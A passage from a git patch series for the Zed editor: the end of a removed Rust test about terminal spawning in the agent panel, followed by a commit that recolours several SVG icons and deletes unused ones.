-                panel.pending_terminal_spawn.is_none(),
-                "precondition: no terminal spawn is in-flight yet"
-            );
-            panel.new_terminal(None, AgentThreadSource::AgentPanel, window, cx);
-            let pending = panel.pending_terminal_spawn;
-            assert!(
-                pending.is_some(),
-                "an explicit new terminal must mark a spawn in-flight"
-            );
-            panel.set_active(true, window, cx);
-            assert_eq!(
-                panel.pending_terminal_spawn, pending,
-                "activating the panel while a terminal spawn is in-flight must not schedule a second (auto-init) terminal"
-            );
-        });
-    }
-
     #[gpui::test]
     async fn test_restored_terminal_runs_init_command_once(cx: &mut TestAppContext) {
         let (panel, mut cx) = setup_panel(cx).await;

From f751e784ea4f23525195e31b0396010e6a48b0d3 Mon Sep 17 00:00:00 2001
From: Danilo Leal <67129314+danilo-leal@users.noreply.github.com>
Date: Wed, 15 Jul 2026 08:00:37 -0300
Subject: [PATCH 479/772] ui: Add some icon clean up (#61010)

Remove some unused ones and update design for a few others.

Release Notes:

- N/A
---
 assets/icons/ai_anthropic.svg                | 11 ++--------
 assets/icons/ai_open_ai_compat.svg           |  4 ++--
 assets/icons/bolt_outlined.svg               |  3 ++-
 assets/icons/check_circle.svg                |  4 ----
 assets/icons/circle_check.svg                |  3 ---
 assets/icons/copilot.svg                     | 16 ++++++++-------
 assets/icons/debug.svg                       | 21 ++++++++++----------
 assets/icons/diff_split.svg                  |  5 +++--
 assets/icons/diff_split_auto.svg             | 10 +++++-----
 assets/icons/diff_unified.svg                |  5 +++--
 assets/icons/fast_forward.svg                |  6 ++++--
 assets/icons/fast_forward_off.svg            |  6 +++---
 assets/icons/file_icons/folder_open.svg      |  6 +++---
 assets/icons/file_icons/magnifying_glass.svg |  3 ++-
 assets/icons/file_text_filled.svg            |  2 +-
 assets/icons/filter.svg                      | 14 +++++++------
 assets/icons/folder_include.svg              |  7 +++----
 assets/icons/folder_open.svg                 |  6 +++---
 assets/icons/generic_close.svg               |  4 ++--
 assets/icons/generic_maximize.svg            |  2 +-
 assets/icons/generic_minimize.svg            |  2 +-
 assets/icons/generic_restore.svg             |  4 ++--
 assets/icons/git_worktree.svg                | 10 +++++-----
 assets/icons/linux.svg                       | 13 ++++++++----
 assets/icons/magnifying_glass.svg            |  4 ++--
 assets/icons/repl_off.svg                    | 11 ----------
 assets/icons/repl_pause.svg                  |  8 --------
 assets/icons/repl_play.svg                   |  7 -------
 assets/icons/reply_arrow_right.svg           |  4 ++--
 assets/icons/split.svg                       |  6 +++---
 assets/icons/supermaven_disabled.svg         |  1 -
 assets/icons/supermaven_error.svg            | 11 ----------
 assets/icons/supermaven_init.svg             | 11 ----------
 assets/icons/terminal_alt.svg                |  7 ++++---
 assets/icons/thinking_mode_off.svg           |  6 +++---
 assets/icons/user_group.svg                  |  7 ++++---
 assets/icons/x_circle.svg                    |  6 +++++-
 assets/icons/zed_agent_two.svg               |  6 +++---
 assets/icons/zed_assistant.svg               |  6 +++---
 39 files changed, 113 insertions(+), 155 deletions(-)
 delete mode 100644 assets/icons/check_circle.svg
 delete mode 100644 assets/icons/circle_check.svg
 delete mode 100644 assets/icons/repl_off.svg
 delete mode 100644 assets/icons/repl_pause.svg
 delete mode 100644 assets/icons/repl_play.svg
 delete mode 100644 assets/icons/supermaven_disabled.svg
 delete mode 100644 assets/icons/supermaven_error.svg
 delete mode 100644 assets/icons/supermaven_init.svg

diff --git a/assets/icons/ai_anthropic.svg b/assets/icons/ai_anthropic.svg
index 12d731fb0b4438..91cc074db3083d 100644
--- a/assets/icons/ai_anthropic.svg
+++ b/assets/icons/ai_anthropic.svg
@@ -1,11 +1,4 @@
 <svg width="16" height="16" viewBox="0 0 16 16" fill="none" xmlns="http://www.w3.org/2000/svg">
-<g clip-path="url(#clip0_1896_18)">
-<path d="M11.094 3.09999H8.952L12.858 12.9H15L11.094 3.09999Z" fill="#1F1F1E"/>
-<path d="M4.906 3.09999L1 12.9H3.184L3.98284 10.842H8.06915L8.868 12.9H11.052L7.146 3.09999H4.906ZM4.68928 9.02199L6.026 5.57799L7.3627 9.02199H4.68928Z" fill="#1F1F1E"/>
-</g>
-<defs>
-<clipPath id="clip0_1896_18">
-<rect width="14" height="9.8" fill="white" transform="translate(1 3.09999)"/>
-</clipPath>
-</defs>
+<path d="M11.094 3.09999H8.952L12.858 12.9H15L11.094 3.09999Z" fill="#DCE0E5"/>
+<path d="M4.906 3.09999L1 12.9H3.184L3.98284 10.842H8.06915L8.868 12.9H11.052L7.146 3.09999H4.906ZM4.68928 9.02199L6.026 5.57799L7.3627 9.02199H4.68928Z" fill="#DCE0E5"/>
 </svg>
diff --git a/assets/icons/ai_open_ai_compat.svg b/assets/icons/ai_open_ai_compat.svg
index f6557caac33048..825d6885ef80e5 100644
--- a/assets/icons/ai_open_ai_compat.svg
+++ b/assets/icons/ai_open_ai_compat.svg
@@ -1,4 +1,4 @@
 <svg width="16" height="16" viewBox="0 0 16 16" fill="none" xmlns="http://www.w3.org/2000/svg">
-<path d="M7.25669 0.999943C8.27509 0.993825 9.24655 1.42125 9.9227 2.17279C11.4427 1.85079 12.9991 2.53518 13.7733 3.86518C14.159 4.5149 14.3171 5.26409 14.2372 5.99994H13.2967C13.3789 5.42185 13.265 4.8321 12.9686 4.32514C12.2353 3.06961 10.6088 2.63919 9.33676 3.36322L6.48032 4.98822C6.46926 4.99697 6.46284 5.01135 6.46372 5.02533V6.38568L9.91294 4.42084C10.0565 4.33818 10.2336 4.33823 10.3768 4.42084L13.1502 5.99994H11.2948L9.88364 5.19623C9.87034 5.19054 9.85459 5.19128 9.84262 5.19916L8.64926 5.87983L8.8602 5.99994H7.99985C6.89539 6.00004 5.99988 6.89547 5.99985 7.99994V9.34955L3.90219 8.15522C3.75815 8.07431 3.66897 7.92228 3.66977 7.75873V4.53803C3.66977 4.50828 3.67172 4.4654 3.67172 4.44135C3.08836 4.65262 2.59832 5.0599 2.28794 5.59174C1.55635 6.84647 1.99122 8.44936 3.26059 9.17475L5.99985 10.7363V11.6162C5.87564 11.6568 5.73827 11.6456 5.6229 11.579L2.7977 9.96869C2.77156 9.95382 2.73449 9.9311 2.71372 9.91889C2.60687 10.5231 2.7194 11.1466 3.0311 11.6777C3.6435 12.7209 4.87159 13.1902 5.99985 12.9023V13.8398C4.50443 14.1233 2.98758 13.4424 2.22641 12.1347C1.71174 11.2677 1.60096 10.2237 1.9227 9.27045C0.880739 8.13295 0.703328 6.46023 1.48325 5.13373C1.98739 4.26024 2.84863 3.64401 3.84653 3.44233C4.3245 1.9837 5.70306 0.996447 7.25669 0.999943ZM7.25766 1.91498C5.78932 1.9143 4.59839 3.08914 4.59751 4.53803V7.79193C4.59926 7.80578 4.60735 7.81796 4.61997 7.82416L5.8143 8.50483L5.81626 4.57611C5.81537 4.41216 5.90431 4.2606 6.04868 4.17963L8.87387 2.56928C8.89868 2.55441 8.93612 2.53379 8.95786 2.5224C8.48035 2.13046 7.8788 1.91498 7.25766 1.91498Z" fill="black"/>
-<path d="M13.5 6C14.6046 6 15.5 6.89543 15.5 8V13.5C15.5 14.6046 14.6046 15.5 13.5 15.5H8C6.89543 15.5 6 14.6046 6 13.5V8C6 6.89543 6.89543 6 8 6H13.5ZM10.8916 8.02539C10.0563 8.02539 9.33453 8.27982 8.81934 8.76562C8.30213 9.25335 8.02547 9.94371 8.02539 10.748C8.02539 11.557 8.29852 12.2492 8.81543 12.7373C9.33013 13.2232 10.0521 13.4746 10.8916 13.4746C11.9865 13.4745 12.8545 13.1022 13.3076 12.3525C13.3894 12.2176 13.4521 12.0693 13.4521 11.8857C13.4521 11.4795 13.0933 11.2773 12.7842 11.2773C12.6604 11.2774 12.5292 11.3025 12.4072 11.3779C12.2862 11.4529 12.2058 11.5586 12.1494 11.666L12.1475 11.6689C11.9677 12.0213 11.5535 12.246 10.8955 12.2461C10.4219 12.2461 10.0667 12.0932 9.83008 11.8506C9.59255 11.607 9.44141 11.2389 9.44141 10.748C9.44148 10.264 9.59319 9.89628 9.83203 9.65137C10.0702 9.40725 10.4255 9.25391 10.8916 9.25391C11.4912 9.25399 11.9415 9.50614 12.1289 9.8916V9.89062C12.1888 10.0157 12.276 10.1311 12.4023 10.2129C12.5303 10.2956 12.6724 10.3271 12.8115 10.3271C12.9661 10.3271 13.1303 10.2857 13.2627 10.1758C13.4018 10.0603 13.4746 9.89383 13.4746 9.71582C13.4746 9.61857 13.4542 9.52036 13.4199 9.42773L13.3818 9.33691C12.9749 8.49175 11.9927 8.02548 10.8916 8.02539ZM10.3203 8.97852L10.1494 9.03516C10.2095 9.01178 10.2716 8.99089 10.3359 8.97363C10.3307 8.97505 10.3256 8.97706 10.3203 8.97852ZM10.4814 8.94141C10.4969 8.9385 10.5126 8.93616 10.5283 8.93359C10.5126 8.93617 10.4969 8.9385 10.4814 8.94141ZM10.6709 8.91504C10.6819 8.91399 10.693 8.913 10.7041 8.91211C10.693 8.913 10.6819 8.91399 10.6709 8.91504Z" fill="black" fill-opacity="0.95"/>
+<path d="M7.25669 0.999943C8.27509 0.993825 9.24655 1.42125 9.9227 2.17279C11.4427 1.85079 12.9991 2.53518 13.7733 3.86518C14.159 4.5149 14.3171 5.26409 14.2372 5.99994H13.2967C13.3789 5.42185 13.265 4.8321 12.9686 4.32514C12.2353 3.06961 10.6088 2.63919 9.33676 3.36322L6.48032 4.98822C6.46926 4.99697 6.46284 5.01135 6.46372 5.02533V6.38568L9.91294 4.42084C10.0565 4.33818 10.2336 4.33823 10.3768 4.42084L13.1502 5.99994H11.2948L9.88364 5.19623C9.87034 5.19054 9.85459 5.19128 9.84262 5.19916L8.64926 5.87983L8.8602 5.99994H7.99985C6.89539 6.00004 5.99988 6.89547 5.99985 7.99994V9.34955L3.90219 8.15522C3.75815 8.07431 3.66897 7.92228 3.66977 7.75873V4.53803C3.66977 4.50828 3.67172 4.4654 3.67172 4.44135C3.08836 4.65262 2.59832 5.0599 2.28794 5.59174C1.55635 6.84647 1.99122 8.44936 3.26059 9.17475L5.99985 10.7363V11.6162C5.87564 11.6568 5.73827 11.6456 5.6229 11.579L2.7977 9.96869C2.77156 9.95382 2.73449 9.9311 2.71372 9.91889C2.60687 10.5231 2.7194 11.1466 3.0311 11.6777C3.6435 12.7209 4.87159 13.1902 5.99985 12.9023V13.8398C4.50443 14.1233 2.98758 13.4424 2.22641 12.1347C1.71174 11.2677 1.60096 10.2237 1.9227 9.27045C0.880739 8.13295 0.703328 6.46023 1.48325 5.13373C1.98739 4.26024 2.84863 3.64401 3.84653 3.44233C4.3245 1.9837 5.70306 0.996447 7.25669 0.999943ZM7.25766 1.91498C5.78932 1.9143 4.59839 3.08914 4.59751 4.53803V7.79193C4.59926 7.80578 4.60735 7.81796 4.61997 7.82416L5.8143 8.50483L5.81626 4.57611C5.81537 4.41216 5.90431 4.2606 6.04868 4.17963L8.87387 2.56928C8.89868 2.55441 8.93612 2.53379 8.95786 2.5224C8.48035 2.13046 7.8788 1.91498 7.25766 1.91498Z" fill="#DCE0E5"/>
+<path d="M13.5 6C14.6046 6 15.5 6.89543 15.5 8V13.5C15.5 14.6046 14.6046 15.5 13.5 15.5H8C6.89543 15.5 6 14.6046 6 13.5V8C6 6.89543 6.89543 6 8 6H13.5ZM10.8916 8.02539C10.0563 8.02539 9.33453 8.27982 8.81934 8.76562C8.30213 9.25335 8.02547 9.94371 8.02539 10.748C8.02539 11.557 8.29852 12.2492 8.81543 12.7373C9.33013 13.2232 10.0521 13.4746 10.8916 13.4746C11.9865 13.4745 12.8545 13.1022 13.3076 12.3525C13.3894 12.2176 13.4521 12.0693 13.4521 11.8857C13.4521 11.4795 13.0933 11.2773 12.7842 11.2773C12.6604 11.2774 12.5292 11.3025 12.4072 11.3779C12.2862 11.4529 12.2058 11.5586 12.1494 11.666L12.1475 11.6689C11.9677 12.0213 11.5535 12.246 10.8955 12.2461C10.4219 12.2461 10.0667 12.0932 9.83008 11.8506C9.59255 11.607 9.44141 11.2389 9.44141 10.748C9.44148 10.264 9.59319 9.89628 9.83203 9.65137C10.0702 9.40725 10.4255 9.25391 10.8916 9.25391C11.4912 9.25399 11.9415 9.50614 12.1289 9.8916C12.1888 10.0167 12.276 10.1311 12.4023 10.2129C12.5303 10.2956 12.6724 10.3271 12.8115 10.3271C12.9661 10.3271 13.1303 10.2857 13.2627 10.1758C13.4018 10.0603 13.4746 9.89383 13.4746 9.71582C13.4746 9.61857 13.4542 9.52036 13.4199 9.42773L13.3818 9.33691C12.9749 8.49175 11.9927 8.02548 10.8916 8.02539ZM10.3203 8.97852L10.1494 9.03516C10.2095 9.01178 10.2716 8.99089 10.3359 8.97363C10.3307 8.97505 10.3256 8.97706 10.3203 8.97852Z" fill="#DCE0E5"/>
 </svg>
diff --git a/assets/icons/bolt_outlined.svg b/assets/icons/bolt_outlined.svg
index ca9c75fbfd64be..935f24bd2fbbd0 100644
--- a/assets/icons/bolt_outlined.svg
+++ b/assets/icons/bolt_outlined.svg
@@ -1,3 +1,4 @@
 <svg width="16" height="16" viewBox="0 0 16 16" fill="none" xmlns="http://www.w3.org/2000/svg">
-<path fill-rule="evenodd" clip-rule="evenodd" d="M9.29787 2.8462C9.41607 2.90046 9.51178 2.98975 9.5701 3.10016C9.62841 3.21057 9.64605 3.3359 9.62028 3.45666L8.96749 6.51117H12.2195C12.334 6.51115 12.446 6.54191 12.5423 6.59976C12.6386 6.65762 12.7151 6.74013 12.7627 6.83748C12.8102 6.93482 12.8269 7.04291 12.8106 7.14885C12.7943 7.2548 12.7458 7.35413 12.6709 7.43504L7.49631 13.0184C7.40998 13.1115 7.29318 13.1752 7.16411 13.1997C7.03504 13.2241 6.90092 13.2081 6.78264 13.1539C6.66437 13.0997 6.56859 13.0104 6.5102 12.9C6.4518 12.7896 6.43408 12.6643 6.45979 12.5435L7.11259 9.48899H3.86054C3.74609 9.489 3.63405 9.45825 3.53776 9.40039C3.44147 9.34254 3.36498 9.26003 3.31742 9.16268C3.26986 9.06534 3.25322 8.95725 3.26949 8.85131C3.28576 8.74536 3.33423 8.64603 3.40916 8.56513L8.58377 2.98169C8.67012 2.88856 8.78699 2.82478 8.91616 2.80028C9.04533 2.77576 9.17953 2.79192 9.29787 2.8462Z" fill="black" fill-opacity="0.15" stroke="black" stroke-width="1.2"/>
+<path opacity="0.2" fill-rule="evenodd" clip-rule="evenodd" d="M9.29787 2.8462C9.41607 2.90046 9.51178 2.98975 9.5701 3.10016C9.62841 3.21057 9.64605 3.3359 9.62028 3.45666L8.96749 6.51117H12.2195C12.334 6.51115 12.446 6.54191 12.5423 6.59976C12.6386 6.65762 12.7151 6.74013 12.7627 6.83748C12.8102 6.93482 12.8269 7.04291 12.8106 7.14885C12.7943 7.2548 12.7458 7.35413 12.6709 7.43504L7.49631 13.0184C7.40998 13.1115 7.29318 13.1752 7.16411 13.1997C7.03504 13.2241 6.90092 13.2081 6.78264 13.1539C6.66437 13.0997 6.56859 13.0104 6.5102 12.9C6.4518 12.7896 6.43408 12.6643 6.45979 12.5435L7.11259 9.48899H3.86054C3.74609 9.489 3.63405 9.45825 3.53776 9.40039C3.44147 9.34254 3.36498 9.26003 3.31742 9.16268C3.26986 9.06534 3.25322 8.95725 3.26949 8.85131C3.28576 8.74536 3.33423 8.64603 3.40916 8.56513L8.58377 2.98169C8.67012 2.88856 8.78699 2.82478 8.91616 2.80028C9.04533 2.77576 9.17953 2.79192 9.29787 2.8462Z" fill="#DCE0E5"/>
+<path fill-rule="evenodd" clip-rule="evenodd" d="M9.29787 2.8462C9.41607 2.90046 9.51178 2.98975 9.5701 3.10016C9.62841 3.21057 9.64605 3.3359 9.62028 3.45666L8.96749 6.51117H12.2195C12.334 6.51115 12.446 6.54191 12.5423 6.59976C12.6386 6.65762 12.7151 6.74013 12.7627 6.83748C12.8102 6.93482 12.8269 7.04291 12.8106 7.14885C12.7943 7.2548 12.7458 7.35413 12.6709 7.43504L7.49631 13.0184C7.40998 13.1115 7.29318 13.1752 7.16411 13.1997C7.03504 13.2241 6.90092 13.2081 6.78264 13.1539C6.66437 13.0997 6.56859 13.0104 6.5102 12.9C6.4518 12.7896 6.43408 12.6643 6.45979 12.5435L7.11259 9.48899H3.86054C3.74609 9.489 3.63405 9.45825 3.53776 9.40039C3.44147 9.34254 3.36498 9.26003 3.31742 9.16268C3.26986 9.06534 3.25322 8.95725 3.26949 8.85131C3.28576 8.74536 3.33423 8.64603 3.40916 8.56513L8.58377 2.98169C8.67012 2.88856 8.78699 2.82478 8.91616 2.80028C9.04533 2.77576 9.17953 2.79192 9.29787 2.8462Z" stroke="#DCE0E5" stroke-width="1.2"/>
 </svg>
diff --git a/assets/icons/check_circle.svg b/assets/icons/check_circle.svg
deleted file mode 100644
index f9b88c4ce1451e..00000000000000
--- a/assets/icons/check_circle.svg
+++ /dev/null
@@ -1,4 +0,0 @@
-<svg width="16" height="16" viewBox="0 0 16 16" fill="none" xmlns="http://www.w3.org/2000/svg">
-<path d="M5.94873 9.02564L7.48722 10.0513L10.0514 6.46149" stroke="black" stroke-width="1.2" stroke-linecap="round" stroke-linejoin="round"/>
-<path d="M8 14C11.3137 14 14 11.3137 14 8C14 4.68629 11.3137 2 8 2C4.68629 2 2 4.68629 2 8C2 11.3137 4.68629 14 8 14Z" stroke="black" stroke-width="1.2"/>
-</svg>
diff --git a/assets/icons/circle_check.svg b/assets/icons/circle_check.svg
deleted file mode 100644
index 8950aa7a0e1126..00000000000000
--- a/assets/icons/circle_check.svg
+++ /dev/null
@@ -1,3 +0,0 @@
-<svg width="16" height="16" viewBox="0 0 16 16" fill="none" xmlns="http://www.w3.org/2000/svg">
-<path d="M8 2.5C11.0376 2.5 13.5 4.96243 13.5 8C13.5 11.0376 11.0376 13.5 8 13.5C4.96243 13.5 2.5 11.0376 2.5 8C2.5 4.96243 4.96243 2.5 8 2.5ZM10.6699 5.37598C10.1196 5.06178 9.40923 5.20902 9.0332 5.73535L7.17188 8.33887L6.6416 7.98633L6.62207 7.97461L6.55566 7.93457L6.54395 7.92676L6.53125 7.91992C6.00582 7.64262 5.35445 7.7754 4.97949 8.23633L4.9082 8.33301C4.55035 8.87107 4.66306 9.58687 5.15234 9.99023L5.16211 9.99805L5.17188 10.0049L5.2334 10.0508L5.25488 10.0664L6.79297 11.0918C7.35476 11.4663 8.11112 11.3257 8.50293 10.7783H8.50391L11.0684 7.18848V7.1875C11.4684 6.62649 11.3395 5.84687 10.7783 5.44531V5.44434L10.6699 5.37598Z" fill="black" stroke="black"/>
-</svg>
diff --git a/assets/icons/copilot.svg b/assets/icons/copilot.svg
index 2584cd631006c1..6dc28b671a8bb8 100644
--- a/assets/icons/copilot.svg
+++ b/assets/icons/copilot.svg
@@ -1,9 +1,11 @@
 <svg width="16" height="16" viewBox="0 0 16 16" fill="none" xmlns="http://www.w3.org/2000/svg">
-<path fill-rule="evenodd" clip-rule="evenodd" d="M6.44643 8.76593C6.83106 8.76593 7.14286 9.0793 7.14286 9.46588V10.9825C7.14286 11.369 6.83106 11.6824 6.44643 11.6824C6.06181 11.6824 5.75 11.369 5.75 10.9825V9.46588C5.75 9.0793 6.06181 8.76593 6.44643 8.76593Z" fill="black"/>
-<path fill-rule="evenodd" clip-rule="evenodd" d="M9.57168 8.76593C9.95631 8.76593 10.2681 9.0793 10.2681 9.46588V10.9825C10.2681 11.369 9.95631 11.6824 9.57168 11.6824C9.18705 11.6824 8.87524 11.369 8.87524 10.9825V9.46588C8.87524 9.0793 9.18705 8.76593 9.57168 8.76593Z" fill="black"/>
-<path d="M7.99976 4.17853C7.99976 6.67853 5.83695 7.28202 4.30332 7.28202C2.76971 7.28202 2.44604 6.1547 2.44604 4.76409C2.44604 3.37347 3.68929 2.24615 5.2229 2.24615C6.75651 2.24615 7.99976 2.78791 7.99976 4.17853Z" fill="black" fill-opacity="0.5" stroke="black" stroke-width="1.2"/>
-<path d="M8 4.17853C8 6.67853 10.1628 7.28202 11.6965 7.28202C13.2301 7.28202 13.5537 6.1547 13.5537 4.76409C13.5537 3.37347 12.3105 2.24615 10.7769 2.24615C9.24325 2.24615 8 2.78791 8 4.17853Z" fill="black" fill-opacity="0.5" stroke="black" stroke-width="1.2"/>
-<path d="M12.5894 6.875C12.5894 6.875 13.3413 7.35585 13.7144 8.08398C14.0876 8.81212 14.0894 10.4985 13.7144 11.1064C13.3395 11.7143 12.8931 12.1429 11.7637 12.7543C10.6344 13.3657 9.143 13.7321 9.143 13.7321H6.85728C6.85728 13.7321 5.37513 13.4107 4.23656 12.7543C3.09798 12.0978 2.55371 11.6786 2.28585 11.1064C2.01799 10.5342 1.92871 8.85715 2.28585 8.08398C2.64299 7.31081 3.42871 6.875 3.42871 6.875" stroke="black" stroke-width="1.2" stroke-linejoin="round"/>
-<path d="M11.9375 12.6016V7.33636L13.9052 7.99224V10.9255L11.9375 12.6016Z" fill="black" fill-opacity="0.75"/>
-<path d="M4.01793 12.6016V7.33636L2.05029 7.99224V10.9255L4.01793 12.6016Z" fill="black" fill-opacity="0.75"/>
+<path fill-rule="evenodd" clip-rule="evenodd" d="M6.44643 8.76593C6.83106 8.76593 7.14286 9.0793 7.14286 9.46588V10.9825C7.14286 11.369 6.83106 11.6824 6.44643 11.6824C6.06181 11.6824 5.75 11.369 5.75 10.9825V9.46588C5.75 9.0793 6.06181 8.76593 6.44643 8.76593Z" fill="#DCE0E5"/>
+<path fill-rule="evenodd" clip-rule="evenodd" d="M9.57168 8.76593C9.95631 8.76593 10.2681 9.0793 10.2681 9.46588V10.9825C10.2681 11.369 9.95631 11.6824 9.57168 11.6824C9.18705 11.6824 8.87524 11.369 8.87524 10.9825V9.46588C8.87524 9.0793 9.18705 8.76593 9.57168 8.76593Z" fill="#DCE0E5"/>
+<path opacity="0.05" d="M7.99977 4.17853C7.99977 6.67853 5.83695 7.28202 4.30332 7.28202C2.76971 7.28202 2.44604 6.1547 2.44604 4.76409C2.44604 3.37347 3.68929 2.24615 5.2229 2.24615C6.75651 2.24615 7.99977 2.78791 7.99977 4.17853Z" fill="#DCE0E5"/>
+<path opacity="0.05" d="M8 4.17853C8 6.67853 10.1628 7.28202 11.6965 7.28202C13.2301 7.28202 13.5537 6.1547 13.5537 4.76409C13.5537 3.37347 12.3105 2.24615 10.7769 2.24615C9.24325 2.24615 8 2.78791 8 4.17853Z" fill="#DCE0E5"/>
+<path d="M7.99977 4.17853C7.99977 6.67853 5.83695 7.28202 4.30332 7.28202C2.76971 7.28202 2.44604 6.1547 2.44604 4.76409C2.44604 3.37347 3.68929 2.24615 5.2229 2.24615C6.75651 2.24615 7.99977 2.78791 7.99977 4.17853Z" stroke="#DCE0E5" stroke-width="1.2"/>
+<path d="M8 4.17853C8 6.67853 10.1628 7.28202 11.6965 7.28202C13.2301 7.28202 13.5537 6.1547 13.5537 4.76409C13.5537 3.37347 12.3105 2.24615 10.7769 2.24615C9.24325 2.24615 8 2.78791 8 4.17853Z" stroke="#DCE0E5" stroke-width="1.2"/>
+<path d="M12.5894 6.875C12.5894 6.875 13.3413 7.35585 13.7144 8.08398C14.0876 8.81212 14.0894 10.4985 13.7144 11.1064C13.3395 11.7143 12.8931 12.1429 11.7637 12.7543C10.6344 13.3657 9.143 13.7321 9.143 13.7321H6.85728C6.85728 13.7321 5.37513 13.4107 4.23656 12.7543C3.09798 12.0978 2.55371 11.6786 2.28585 11.1064C2.01799 10.5342 1.92871 8.85715 2.28585 8.08398C2.64299 7.31081 3.42871 6.875 3.42871 6.875" stroke="#DCE0E5" stroke-width="1.2" stroke-linejoin="round"/>
+<path d="M11.9375 12.6016V7.33636L13.9052 7.99224V10.9255L11.9375 12.6016Z" fill="#DCE0E5"/>
+<path d="M4.01793 12.6016V7.33636L2.05029 7.99224V10.9255L4.01793 12.6016Z" fill="#DCE0E5"/>
 </svg>
diff --git a/assets/icons/debug.svg b/assets/icons/debug.svg
index 6423a2b090c1b8..ec84706b13f177 100644
--- a/assets/icons/debug.svg
+++ b/assets/icons/debug.svg
@@ -1,12 +1,13 @@
 <svg width="16" height="16" viewBox="0 0 16 16" fill="none" xmlns="http://www.w3.org/2000/svg">
-<path d="M5.44727 2.19177L6.38617 3.11055" stroke="black" stroke-width="1.2" stroke-linecap="round" stroke-linejoin="round"/>
-<path d="M9.64722 3.11055L10.553 2.19177" stroke="black" stroke-width="1.2" stroke-linecap="round" stroke-linejoin="round"/>
-<path d="M5.66298 6.07369L5.66298 5.10997C5.64886 4.80689 5.69884 4.50419 5.80993 4.22016C5.92101 3.93613 6.09088 3.67665 6.3093 3.45738C6.52771 3.23811 6.79013 3.0636 7.08074 2.94437C7.37134 2.82514 7.68409 2.76367 8.00011 2.76367C8.31614 2.76367 8.62889 2.82514 8.91949 2.94437C9.21008 3.0636 9.4725 3.23811 9.69092 3.45738C9.90933 3.67665 10.0792 3.93613 10.1903 4.22016C10.3014 4.50419 10.3514 4.80689 10.3373 5.10997V6.07369" stroke="black" stroke-width="1.2" stroke-linecap="round" stroke-linejoin="round"/>
-<path d="M8.00017 13.1366C6.09924 13.1366 4.54395 11.6686 4.54395 9.87441V8.24333C4.54395 7.66653 4.7867 7.11337 5.21882 6.70552C5.65092 6.29767 6.237 6.06854 6.8481 6.06854H9.15225C9.76335 6.06854 10.3494 6.29767 10.7815 6.70552C11.2136 7.11337 11.4564 7.66653 11.4564 8.24333V9.87441C11.4564 11.6686 9.9011 13.1366 8.00017 13.1366Z" fill="black" fill-opacity="0.15" stroke="black" stroke-width="1.2" stroke-linecap="round" stroke-linejoin="round"/>
-<path d="M4.54343 6.22415C3.43167 6.10894 2.51001 5.12967 2.51001 3.91998" stroke="black" stroke-width="1.2" stroke-linecap="round" stroke-linejoin="round"/>
-<path d="M4.54367 8.83472H2.2395" stroke="black" stroke-width="1.2" stroke-linecap="round" stroke-linejoin="round"/>
-<path d="M2.35449 13.4175C2.35449 12.2078 3.33376 11.1709 4.54345 11.1134" stroke="black" stroke-width="1.2" stroke-linecap="round" stroke-linejoin="round"/>
-<path d="M13.1673 3.91998C13.1673 5.12967 12.2455 6.10894 11.1511 6.22415" stroke="black" stroke-width="1.2" stroke-linecap="round" stroke-linejoin="round"/>
-<path d="M13.7605 8.83472H11.4563" stroke="black" stroke-width="1.2" stroke-linecap="round" stroke-linejoin="round"/>
-<path d="M11.4563 11.1134C12.666 11.1709 13.6453 12.2078 13.6453 13.4175" stroke="black" stroke-width="1.2" stroke-linecap="round" stroke-linejoin="round"/>
+<path d="M5.44727 2.19177L6.38617 3.11055" stroke="#DCE0E5" stroke-width="1.2" stroke-linecap="round" stroke-linejoin="round"/>
+<path d="M9.64722 3.11055L10.553 2.19177" stroke="#DCE0E5" stroke-width="1.2" stroke-linecap="round" stroke-linejoin="round"/>
+<path d="M5.66298 6.07369V5.10997C5.64886 4.80689 5.69884 4.50419 5.80993 4.22016C5.92101 3.93613 6.09088 3.67665 6.3093 3.45738C6.52771 3.23811 6.79013 3.0636 7.08074 2.94437C7.37134 2.82514 7.68409 2.76367 8.00011 2.76367C8.31614 2.76367 8.62889 2.82514 8.91949 2.94437C9.21008 3.0636 9.4725 3.23811 9.69092 3.45738C9.90933 3.67665 10.0792 3.93613 10.1903 4.22016C10.3014 4.50419 10.3514 4.80689 10.3373 5.10997V6.07369" stroke="#DCE0E5" stroke-width="1.2" stroke-linecap="round" stroke-linejoin="round"/>
+<path opacity="0.1" d="M8.00016 13.1366C6.09923 13.1366 4.54395 11.6686 4.54395 9.87441V8.24333C4.54395 7.66653 4.7867 7.11337 5.21882 6.70552C5.65092 6.29767 6.237 6.06854 6.8481 6.06854H9.15225C9.76335 6.06854 10.3494 6.29767 10.7815 6.70552C11.2136 7.11337 11.4564 7.66653 11.4564 8.24333V9.87441C11.4564 11.6686 9.9011 13.1366 8.00016 13.1366Z" fill="#DCE0E5" stroke="#DCE0E5" stroke-width="1.2" stroke-linecap="round" stroke-linejoin="round"/>
+<path d="M8.00016 13.1366C6.09923 13.1366 4.54395 11.6686 4.54395 9.87441V8.24333C4.54395 7.66653 4.7867 7.11337 5.21882 6.70552C5.65092 6.29767 6.237 6.06854 6.8481 6.06854H9.15225C9.76335 6.06854 10.3494 6.29767 10.7815 6.70552C11.2136 7.11337 11.4564 7.66653 11.4564 8.24333V9.87441C11.4564 11.6686 9.9011 13.1366 8.00016 13.1366Z" stroke="#DCE0E5" stroke-width="1.2" stroke-linecap="round" stroke-linejoin="round"/>
+<path d="M4.54343 6.22415C3.43167 6.10894 2.51001 5.12967 2.51001 3.91998" stroke="#DCE0E5" stroke-width="1.2" stroke-linecap="round" stroke-linejoin="round"/>
+<path d="M4.54367 8.83472H2.2395" stroke="#DCE0E5" stroke-width="1.2" stroke-linecap="round" stroke-linejoin="round"/>
+<path d="M2.35449 13.4175C2.35449 12.2078 3.33376 11.1709 4.54345 11.1134" stroke="#DCE0E5" stroke-width="1.2" stroke-linecap="round" stroke-linejoin="round"/>
+<path d="M13.1673 3.91998C13.1673 5.12967 12.2455 6.10894 11.1511 6.22415" stroke="#DCE0E5" stroke-width="1.2" stroke-linecap="round" stroke-linejoin="round"/>
+<path d="M13.7605 8.83472H11.4563" stroke="#DCE0E5" stroke-width="1.2" stroke-linecap="round" stroke-linejoin="round"/>
+<path d="M11.4563 11.1134C12.666 11.1709 13.6453 12.2078 13.6453 13.4175" stroke="#DCE0E5" stroke-width="1.2" stroke-linecap="round" stroke-linejoin="round"/>
 </svg>
diff --git a/assets/icons/diff_split.svg b/assets/icons/diff_split.svg
index 35a3e7072c290b..ebcd48cbb54fed 100644
--- a/assets/icons/diff_split.svg
+++ b/assets/icons/diff_split.svg
@@ -1,4 +1,5 @@
 <svg width="16" height="16" viewBox="0 0 16 16" fill="none" xmlns="http://www.w3.org/2000/svg">
